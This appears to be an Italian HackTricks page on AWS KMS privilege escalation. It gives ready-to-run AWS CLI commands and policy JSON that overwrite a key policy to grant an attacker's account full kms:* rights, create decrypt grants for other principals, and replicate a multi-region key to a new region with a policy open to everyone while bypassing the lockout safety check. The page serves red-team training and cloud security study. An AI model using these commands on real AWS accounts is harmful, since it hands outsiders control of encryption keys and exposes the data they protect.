AWS - KMS Privesc

Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

KMS

Per ulteriori informazioni su KMS, controlla:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Con queste autorizzazioni è possibile modificare le autorizzazioni di accesso alla chiave in modo che possa essere utilizzata da altri account o addirittura da chiunque:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Consente a un principale di utilizzare una chiave KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Una concessione può consentire solo determinati tipi di operazioni: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Nota che potrebbero essere necessari un paio di minuti affinché KMS consenta all'utente di utilizzare la chiave dopo che la concessione è stata generata. Una volta trascorso quel tempo, il principale può utilizzare la chiave KMS senza dover specificare nulla. Tuttavia, se è necessario utilizzare immediatamente la concessione, utilizzare un token di concessione (controllare il codice seguente). Per ulteriori informazioni leggere questo.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Nota che è possibile elencare i permessi delle chiavi con:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Con queste autorizzazioni è possibile replicare una chiave KMS abilitata per più regioni in una regione diversa con una policy diversa.

Quindi, un attaccante potrebbe sfruttare ciò per ottenere l'escalation dei privilegi sul suo accesso alla chiave e utilizzarla

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Questa autorizzazione consente di utilizzare una chiave per decifrare alcune informazioni. Per ulteriori informazioni controlla:

pageAWS - KMS Post Exploitation
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated